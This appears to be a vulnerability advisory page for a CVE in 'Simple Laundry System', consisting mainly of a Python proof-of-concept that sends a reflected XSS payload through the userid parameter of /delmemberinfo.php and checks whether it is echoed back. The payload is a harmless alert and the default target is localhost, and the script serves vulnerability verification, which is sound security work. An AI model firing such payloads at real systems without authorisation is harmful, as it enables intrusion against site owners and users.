CVE-2026-5825: Simple Laundry System XSS漏洞

import requests def verify_xss(target_url): """ PoC to verify XSS vulnerability in Simple Laundry System """ # The vulnerable endpoint endpoint = "/delmemberinfo.php" # Malicious payload to test script execution # Using a simple alert to verify the vulnerability without causing harm payload = "<script>alert('XSS')</script>" # Construct the full URL with the vulnerable parameter params = { "userid": payload } try: # Send the GET request to the target server response = requests.get(target_url + endpoint, params=params, timeout=10) # Check if the payload is reflected in the response body # This indicates that the input is not being sanitized if payload in response.text: print(f"[+] Potential XSS found at {target_url}") print(f"[+] Payload reflected in response.") else: print("[-] Vulnerability not detected or payload was encoded.") except requests.exceptions.RequestException as e: print(f"[!] Error connecting to target: {e}") if __name__ == "__main__": # Replace with the actual target URL target = "http://localhost/simple-laundry-system" verify_xss(target)